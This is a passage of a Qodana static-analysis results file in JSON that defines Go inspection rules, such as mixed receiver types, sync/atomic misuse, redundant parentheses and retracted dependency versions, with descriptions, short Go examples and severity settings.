\"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoMixedReceiverTypes\",\n                \"shortDescription\": {\n                  \"text\": \"Mixed value and pointer receivers\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports structures with methods that use a mixture of types: value and pointer receivers. Such usage is not recommended by the Go Documentation. For more information, refer to Should I define methods on values or pointers? in the Go FAQ. Example: 'type S struct{\\n}\\n\\nfunc (s *S) fun() {}\\nfunc (s S) fun2() {}'\",\n                  \"markdown\": \"Reports structures with methods that use a mixture of types: value and pointer receivers. Such usage is not recommended by the Go Documentation.\\n\\nFor more information, refer to [Should I define methods on values or pointers?](https://go.dev/doc/faq#methods_on_values_or_pointers) in the Go FAQ.\\n\\nExample:\\n\\n    type S struct{\\n    }\\n\\n    func (s *S) fun() {}\\n    func (s S) fun2() {}\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoMixedReceiverTypes\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetAtomic\",\n                \"shortDescription\": {\n                  \"text\": \"Incorrect usage of the 'sync/atomic' package\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports assignment statements of the form 'x = atomic.AddUint64(&x, 1)'. Such operations are not atomic, and is a common misuse of the 'sync/atomic' API. To make them atomic, one need to remove the assignment to use a direct call: 'atomic.AddUint64(&x, 1)'. In that case, the value of 'x' will be updated atomically by address. Example: 'import (\\n \\\"sync/atomic\\\"\\n)\\n\\ntype Counter uint64\\n\\nfunc AtomicTests() {\\n x := uint64(1)\\n x = atomic.AddUint64(&x, 1)         // ERROR \\\"direct assignment to atomic value\\\"\\n _, x = 10, atomic.AddUint64(&x, 1)  // ERROR \\\"direct assignment to atomic value\\\"\\n x, _ = atomic.AddUint64(&x, 1), 10  // ERROR \\\"direct assignment to atomic value\\\"\\n}'\",\n                  \"markdown\": \"Reports assignment statements of the form `x = atomic.AddUint64(&x, 1)`.\\n\\nSuch operations are not atomic,\\nand is a common misuse of the `sync/atomic` API. To make them atomic, one need to remove the assignment\\nto use a direct call: `atomic.AddUint64(&x, 1)`. In that case, the value of `x` will be updated\\natomically by address.\\n\\nExample:\\n\\n    import (\\n     \\\"sync/atomic\\\"\\n    )\\n\\n    type Counter uint64\\n\\n    func AtomicTests() {\\n     x := uint64(1)\\n     x = atomic.AddUint64(&x, 1)         // ERROR \\\"direct assignment to atomic value\\\"\\n     _, x = 10, atomic.AddUint64(&x, 1)  // ERROR \\\"direct assignment to atomic value\\\"\\n     x, _ = atomic.AddUint64(&x, 1), 10  // ERROR \\\"direct assignment to atomic value\\\"\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetAtomic\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetUnmarshal\",\n                \"shortDescription\": {\n                  \"text\": \"'Unmarshal' is called with the incorrect argument\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports calls to 'json.Unmarshal' and similar functions if the argument that is passed to store the result is not a pointer or an interface. These calls will fail and return an error. For more information about 'Unmarshal', refer to func Unmarshal at go.dev. Example: 'var animals []Animal\\nerr := json.Unmarshal(jsonData, animals) // always returns an error' After the Prepend '&' quick-fix is applied: 'var animals []Animal\\nerr := json.Unmarshal(jsonData, &animals)'\",\n                  \"markdown\": \"Reports calls to `json.Unmarshal` and similar functions if the argument that is passed to store the result is not a pointer or an interface.\\n\\nThese calls will fail and return an error.\\n\\nFor more information about `Unmarshal`, refer to [func Unmarshal at\\ngo.dev](https://pkg.go.dev/encoding/json#Unmarshal).\\n\\nExample:\\n\\n    var animals []Animal\\n    err := json.Unmarshal(jsonData, animals) // always returns an error\\n\\nAfter the **Prepend '\\\\&'** quick-fix is applied:\\n\\n    var animals []Animal\\n    err := json.Unmarshal(jsonData, &animals)\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetUnmarshal\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnnecessarilyExportedIdentifiers\",\n                \"shortDescription\": {\n                  \"text\": \"Unnecessarily exported identifier\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports exported identifiers that are used only in the package where they are defined but are not used in other packages. Making them exported is redundant and may clutter the API of the package.\",\n                  \"markdown\": \"Reports exported identifiers that are used only in the package where they are defined but are not used in other packages.\\n\\nMaking them exported is redundant and may clutter the API of the package.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnnecessarilyExportedIdentifiers\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoIrregularIota\",\n                \"shortDescription\": {\n                  \"text\": \"Irregular usage of 'iota'\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports irregular usage of 'iota' within a constant declaration. The 'iota' identifier is reset for every constant declaration and automatically incremented for every constant specification. Within one constant specification, the identifier keeps its value. Explicitly referring to 'iota' does not reset the counter. For more information, refer to Iota in the Go specification. This inspection is triggered if two constant specifications have a textually identical expression list containing at least one reference to 'iota' and there are exclusively constant specifications without an expression list in between them. Consider omitting the redundant expression list or writing out the expression list every time. Example: 'const (\\n  a = iota  // 0\\n  b         // 1\\n  c = iota  // 2\\n)' Triggers the inspection as the 'iota' in the definition of 'c' is redundant. Example: 'const (\\n  a, aa = iota, iota       // 0, 0\\n  b, bb                    // 1, 1\\n  c, cc = iota + 40, iota  // 42, 2\\n)' Does not trigger the inspection as none of the expression lists is redundant.\",\n                  \"markdown\": \"Reports irregular usage of `iota` within a constant declaration.\\n\\nThe `iota` identifier is reset for every constant declaration and automatically incremented for every constant specification.\\nWithin one constant specification, the identifier keeps its value. Explicitly referring to `iota` does not reset the counter.\\n\\nFor more information, refer to [Iota](https://go.dev/ref/spec#Iota) in the Go specification.\\n\\nThis inspection is triggered if two constant specifications have a textually identical expression list containing at least one reference to `iota`\\nand there are exclusively constant specifications without an expression list in between them.\\n\\nConsider omitting the redundant expression list or writing out the expression list every time.\\n\\nExample:\\n\\n    const (\\n      a = iota  // 0\\n      b         // 1\\n      c = iota  // 2\\n    )\\n\\nTriggers the inspection as the `iota` in the definition of `c` is redundant.\\n\\nExample:\\n\\n    const (\\n      a, aa = iota, iota       // 0, 0\\n      b, bb                    // 1, 1\\n      c, cc = iota + 40, iota  // 42, 2\\n    )\\n\\nDoes not trigger the inspection as none of the expression lists is redundant.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoIrregularIota\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoVetStructTag\",\n                \"shortDescription\": {\n                  \"text\": \"Malformed struct tag\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports struct tags that do not conform to Go conventions for struct tags. According to these conventions, tag strings are a concatenation of optionally space-separated 'key:\\\"value\\\"' pairs. Each key is a non-empty string consisting of non-control characters other than 'space (U+0020 ' ')', 'quote (U+0022 '\\\"')', and 'colon (U+003A ':')'. Each value is quoted using 'U+0022 '\\\"'' characters and Go string literal syntax. Also, the inspection checks that fields with tags are exported. Example of a valid tag: 'type Example struct {\\n  Field int `json:\\\"field\\\" xml:\\\"demo\\\"`\\n}'\",\n                  \"markdown\": \"Reports struct tags that do not conform to [Go conventions for struct tags](https://pkg.go.dev/reflect#StructTag).\\n\\nAccording to these conventions, tag strings are a concatenation of optionally space-separated `key:\\\"value\\\"` pairs. Each\\nkey is a non-empty string consisting of non-control characters other than `space (U+0020 ' ')`, `quote (U+0022 '\\\"')`,\\nand\\n`colon (U+003A ':')`. Each value is quoted using `U+0022 '\\\"'` characters and Go string literal syntax.\\n\\nAlso, the inspection checks that fields with tags are exported.\\n\\nExample of a valid tag:\\n\\n    type Example struct {\\n      Field int `json:\\\"field\\\" xml:\\\"demo\\\"`\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoVetStructTag\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantTypeDeclInCompositeLit\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant types in composite literals\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports redundant type declarations in composite literals. Example: 'nums := [][]int{[]int{1}, []int{2}}' We have a slice of slices of the 'int' type. In this case, you can use a shorter definition. You can fix this code manually or use the Delete redundant type quick-fix. After the quick-fix is applied, the code looks as follows: 'nums := [][]int{{1},{2}}' For more information about composite literals, refer to Go Language Specification: Composite Literals at go.dev.\",\n                  \"markdown\": \"Reports redundant type declarations in composite literals.\\n\\nExample:\\n\\n    nums := [][]int{[]int{1}, []int{2}}\\n\\nWe have a slice of slices of the `int` type. In this case, you can use a shorter definition. You can fix this code manually or\\nuse the **Delete redundant type** quick-fix. After the quick-fix is applied, the code looks as follows:\\n\\n    nums := [][]int{{1},{2}}\\n\\nFor more information about composite literals, refer to [Go Language Specification:\\nComposite Literals at go.dev](https://go.dev/ref/spec#Composite_literals).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantTypeDeclInCompositeLit\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"VgoDependencyVersionRetracted\",\n                \"shortDescription\": {\n                  \"text\": \"Retracted dependency version\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports retracted dependency versions. Users must avoid using retracted versions as they might contain a vulnerability, a significant bug, or other issues that might be harmful. The retraction reason is described in the provided retraction notice. To solve a problem, upgrade the dependency to the most recent version that has not been retracted. Note that retraction does not prevent you from using the retracted versions. Available quick-fixes may suggest updating to the latest version or reading the retraction notice. For more information, refer to 'retract' directive at go.dev. Retraction data is provided by the command go list -m -u.\",\n                  \"markdown\": \"Reports retracted dependency versions.\\n\\n\\nUsers must avoid using retracted versions as they might contain a vulnerability, a significant bug, or other issues that might be harmful.\\nThe retraction reason is described in the provided retraction notice.\\n\\n\\nTo solve a problem, upgrade the dependency to the most recent version that has not been retracted.\\nNote that retraction does not prevent you from using the retracted versions.\\n\\n\\nAvailable quick-fixes may suggest updating to the latest version or reading the retraction notice.\\n\\n\\nFor more information, refer to [`retract` directive at go.dev](https://go.dev/ref/mod#go-mod-file-retract).  \\n\\nRetraction data is provided by the command [go list -m -u](https://go.dev/ref/mod#go-list-m).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"VgoDependencyVersionRetracted\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go modules/Dependency issues (go list -m -u)\",\n                      \"index\": 57,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"VgoDependencyUpdateAvailable\",\n                \"shortDescription\": {\n                  \"text\": \"Dependency update available\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Suggests updating outdated go.mod dependencies to the latest versions. Ignores the retracted versions. For more information about retracted versions, refer to the 'retract' directive at go.dev. Latest version data is provided by the command go list -m -u.\",\n                  \"markdown\": \"Suggests updating outdated *go.mod* dependencies to the latest versions. Ignores the retracted versions.\\n\\nFor more information about retracted versions,\\nrefer to the [`retract` directive at go.dev](https://go.dev/ref/mod#go-mod-file-retract).  \\n\\nLatest version data is provided by the command [go list -m -u](https://go.dev/ref/mod#go-list-m).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"VgoDependencyUpdateAvailable\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go modules/Dependency issues (go list -m -u)\",\n                      \"index\": 57,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantParens\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant parentheses\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports redundant parentheses in expressions and types. Example: 'func _(x (int), y ((string))) {\\n}\\nfunc _() {\\n _ = (1 + 1)\\n _ = (((1 + 1)))\\n _ = (((1 + 1))) + (((2 + 2)))\\n}' After the Unwrap parentheses quick-fix is applied: 'func _(x int, y string) {\\n}\\nfunc _() {\\n _ = 1 + 1\\n _ = 1 + 1\\n _ = (1 + 1) + (2 + 2)\\n}'\",\n                  \"markdown\": \"Reports redundant parentheses in expressions and types.\\n\\nExample:\\n\\n    func _(x (int), y ((string))) {\\n    }\\n    func _() {\\n     _ = (1 + 1)\\n     _ = (((1 + 1)))\\n     _ = (((1 + 1))) + (((2 + 2)))\\n    }\\n\\nAfter the **Unwrap parentheses** quick-fix is applied:\\n\\n    func _(x int, y string) {\\n    }\\n    func _() {\\n     _ = 1 + 1\\n     _ = 1 + 1\\n     _ = (1 + 1) + (2 + 2)\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantParens\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoUnusedParameter\",\n                \"shortDescription\": {\n                  \"text\": \"Unused parameter\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports unused function parameters. 'func main() {\\n printAll(\\n  42,\\n  \\\"bird\\\",\\n )\\n}\\n\\nfunc printAll(\\n i int,\\n s string,\\n) {\\n fmt.Println(i)\\n}' We call the printAll function passing '42' and 'bird' as arguments. The printAll function accepts two parameters 'int' and 'string' but uses only the first of them. Therefore, the 's string' is grayed out.\",\n                  \"markdown\": \"Reports unused function parameters.\\n\\n    func main() {\\n     printAll(\\n      42,\\n      \\\"bird\\\",\\n     )\\n    }\\n\\n    func printAll(\\n     i int,\\n     s string,\\n    ) {\\n     fmt.Println(i)\\n    }\\n\\nWe call the **printAll** function passing `42` and `bird` as arguments. The **printAll** function accepts two\\nparameters `int` and `string` but uses only the first of them. Therefore, the `s string` is grayed out.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoUnusedParameter\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoDisabledGopathIndexing\",\n                \"shortDescription\": {\n                  \"text\": \"Disabled GOPATH indexing\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports disabled GOPATH indexing that might prevent proper resolution of code references. GOPATH stores your code base and all the files that are necessary for your development. Also, it includes packages that you download and install. If you disabled GOPATH indexing, only project and vendored packages are indexed. It might improve the overall performance but makes it impossible to use packages from GOPATH.\",\n                  \"markdown\": \"Reports disabled GOPATH indexing that might prevent proper resolution of code references.\\n\\nGOPATH stores your code base and all the files that are necessary for your development. Also, it includes packages that you download and\\ninstall. If you disabled GOPATH indexing, only project and vendored packages are indexed. It might improve the overall performance but\\nmakes it impossible to use packages from GOPATH.\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoDisabledGopathIndexing\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/General\",\n                      \"index\": 38,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoLeadingWhitespaceInDirectiveComment\",\n                \"shortDescription\": {\n                  \"text\": \"Leading whitespace in directive comment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports leading whitespaces before Go directives in comments. Go directives are not recognized if there is whitespace between '//' and the Go directive. The quick-fix removes the leading whitespace before the Go directive. Example: '//  go:embed file.txt\\nvar File string' After the quick fix is applied: '//go:embed file.txt\\nvar File string'\",\n                  \"markdown\": \"Reports leading whitespaces before Go directives in comments.\\n\\nGo directives are not recognized if there is whitespace between `//` and\\nthe Go directive.\\n\\nThe quick-fix removes the leading whitespace before the Go directive.\\n\\n**Example:**\\n\\n\\n    //  go:embed file.txt\\n    var File string\\n\\nAfter the quick fix is applied:\\n\\n\\n    //go:embed file.txt\\n    var File string\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoLeadingWhitespaceInDirectiveComment\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoShift\",\n                \"shortDescription\": {\n                  \"text\": \"Exceeded shift expression\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports shift expressions that equal or exceed the width of the integer. All the bits of the left operand are shifted in such expression resulting in a constant value. The constant value indicates that either the shift offset is incorrect or the shift expression is redundant. Example: 'func shift(i int8) {\\n    fmt.Println(i << 8) // always prints 0\\n  }'\",\n                  \"markdown\": \"Reports shift expressions that equal or exceed the width of the integer.\\n\\nAll the bits of the left operand are shifted in such expression resulting in a constant value. The constant value\\nindicates that either the shift offset is incorrect or the shift expression is redundant.\\n\\nExample:\\n\\n\\n      func shift(i int8) {\\n        fmt.Println(i << 8) // always prints 0\\n      }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoShift\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Probable bugs\",\n                      \"index\": 4,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoSelfAssignment\",\n                \"shortDescription\": {\n                  \"text\": \"Self assignment\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports expressions that are assigned to themselves. Such assignments have no effect, removing them might improve code readability. Example: 'func importedVarSelfAssignment() {\\n http.ErrNotSupported = http.ErrNotSupported\\n}'\",\n                  \"markdown\": \"Reports expressions that are assigned to themselves.\\n\\nSuch assignments have no effect, removing them might improve code readability.\\n\\nExample:\\n\\n    func importedVarSelfAssignment() {\\n     http.ErrNotSupported = http.ErrNotSupported\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoSelfAssignment\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Declaration redundancy\",\n                      \"index\": 5,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoStructInitializationWithoutFieldNames\",\n                \"shortDescription\": {\n                  \"text\": \"Struct initialization without field names\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports structures that are initialized without specifying their field names. By default, the inspection is available only when you use the type that is defined in a different package. When initializing a structure, it is better to explicitly state field names in order to ensure that in case of changes in order of these fields or in names of the fields, they will correctly continue to be addressed. Example: '_ = io.LimitedReader{nil, 10}' The 'LimitedReader' initialization will be highlighted because explicit names for struct fields are missing. You can apply the Add keys and delete zero values quick-fix to the struct initialization. After the quick-fix is applied, the code looks as follows: '_ = io.LimitedReader{N: 10}' The inspection has the following options: Report types defined in current package: reports situations when you declare and initialize struct in the same package. Consider the following example. 'd := struct {\\n  c string\\n }{ \\\"dsd \\\"}' Report struct literals without types: reports fields without names when the type (struct or interface) is omitted. Consider the following example when the type is omitted. '_ = []io.LimitedReader{\\n {nil, 10},\\n {nil, 20},\\n }' In the following example, the type is present but is redundant. '_ = []io.LimitedReader{\\n io.LimitedReader{nil, 10},\\n io.LimitedReader{nil, 20},\\n}'\",\n                  \"markdown\": \"Reports structures that are initialized without specifying their field names. By default, the inspection is available only when you use the type that is defined in a different package.\\n\\nWhen initializing a structure, it is better to explicitly state field names in order\\nto ensure that in case of changes in order of these fields or in names of the fields, they\\nwill correctly continue to be addressed.\\n\\nExample:\\n\\n    _ = io.LimitedReader{nil, 10}\\n\\nThe `LimitedReader` initialization will be highlighted because explicit names for struct fields are missing.\\nYou can apply the **Add keys and delete zero values** quick-fix to the\\nstruct initialization. After the quick-fix is applied, the code looks as follows:\\n\\n    _ = io.LimitedReader{N: 10}\\n\\nThe inspection has the following options:\\n\\n* **Report types defined in current package**: reports situations when you declare and initialize struct in the same package.\\n  Consider the following example.\\n\\n      d := struct {\\n        c string\\n       }{ \\\"dsd \\\"}\\n\\n* **Report struct literals without types**: reports fields without names when the type (struct or interface) is omitted.\\n  Consider the following example when the type is omitted.\\n\\n      _ = []io.LimitedReader{\\n       {nil, 10},\\n       {nil, 20},\\n       }\\n\\n  In the following example, the type is present but is redundant.\\n\\n      _ = []io.LimitedReader{\\n       io.LimitedReader{nil, 10},\\n       io.LimitedReader{nil, 20},\\n      }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoStructInitializationWithoutFieldNames\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go/Code style issues\",\n                      \"index\": 31,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"VgoMigrateFromReplacesToWorkspace\",\n                \"shortDescription\": {\n                  \"text\": \"Migration to Go workspace is possible\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Generates 'go.work' files using 'replace' directives. Go workspaces is a feature introduced in Go 1.18 that allows working simultaneously on several modules. Workspaces are a modern alternative to 'replace' directives pointing to local directories. All modules in a workspace have the same set of dependencies, thus making the configuration simpler, more robust, and requiring fewer 'go list' calls to scan the project structure. The fix for this inspection generates a new 'go.work' file and does not change existing files. By default, the 'warning' severity is used. If a generated workspace would include Go modules that were not replaced in the original 'go.mod', no warning is shown due to possible side effects caused by migration. But you can still run the fix manually. For more information about workspaces, refer to Go Modules Reference. For Go workspaces introduction, refer to Tutorial: Getting started with multi-module workspaces.\",\n                  \"markdown\": \"Generates 'go.work' files using 'replace' directives.\\n\\n\\nGo workspaces is a feature introduced in Go 1.18 that allows working simultaneously on several modules.  \\n\\nWorkspaces are a modern alternative to 'replace' directives pointing to local directories.  \\n\\nAll modules in a workspace have the same set of dependencies, thus making the configuration simpler, more robust,\\nand requiring fewer 'go list' calls to scan the project structure.  \\n\\nThe fix for this inspection generates a new 'go.work' file and does not change existing files.\\n\\n\\nBy default, the 'warning' severity is used. If a generated workspace would include Go modules that were not replaced\\nin the original 'go.mod', no warning is shown due to possible side effects caused by migration. But you can still run the fix manually.\\n\\n\\nFor more information about workspaces, refer to [Go Modules Reference](https://go.dev/ref/mod#workspaces).  \\n\\nFor Go workspaces introduction, refer to [Tutorial: Getting started with multi-module\\nworkspaces](https://go.dev/doc/tutorial/workspaces).\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": false,\n                  \"level\": \"warning\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"VgoMigrateFromReplacesToWorkspace\",\n                    \"ideaSeverity\": \"WARNING\",\n                    \"qodanaSeverity\": \"High\"\n                  }\n                },\n                \"relationships\": [\n                  {\n                    \"target\": {\n                      \"id\": \"Go modules/General\",\n                      \"index\": 58,\n                      \"toolComponent\": {\n                        \"name\": \"QDGO\"\n                      }\n                    },\n                    \"kinds\": [\n                      \"superset\"\n                    ]\n                  }\n                ]\n              },\n              {\n                \"id\": \"GoRedundantTrueInForCondition\",\n                \"shortDescription\": {\n                  \"text\": \"Redundant 'true' in for loop condition\"\n                },\n                \"fullDescription\": {\n                  \"text\": \"Reports the redundant 'true' literal in the 'for' loop condition. In Go, the 'for' loop has a form with an implicit condition. It means that you can create an infinite loop by writing 'for { }'. Therefore, in cases with the 'true' condition ('for true { }'), 'true' is considered redundant and might be omitted. For more information about the 'for' loop in Go, refer to For at go.dev. Example: 'for true {\\n  println(\\\"ping\\\")\\n}'\",\n                  \"markdown\": \"Reports the redundant `true` literal in the `for` loop condition.\\n\\nIn Go, the `for` loop has a form with an implicit condition.\\nIt means that you can create an infinite loop by writing `for { }`.\\nTherefore, in cases with the `true` condition (`for true { }`), `true` is considered redundant and might be omitted.\\n\\nFor more information about the `for` loop in Go, refer to [For at go.dev](https://go.dev/doc/effective_go#for).\\n\\nExample:\\n\\n    for true {\\n      println(\\\"ping\\\")\\n    }\\n\"\n                },\n                \"defaultConfiguration\": {\n                  \"enabled\": true,\n                  \"level\": \"note\",\n                  \"parameters\": {\n                    \"suppressToolId\": \"GoRedundantTrueInForCondition\",\n                    \"ideaSeverity\": \"WEAK WARNING\",\n                    \"qodanaSeverity\": \"Moderate\"\n                  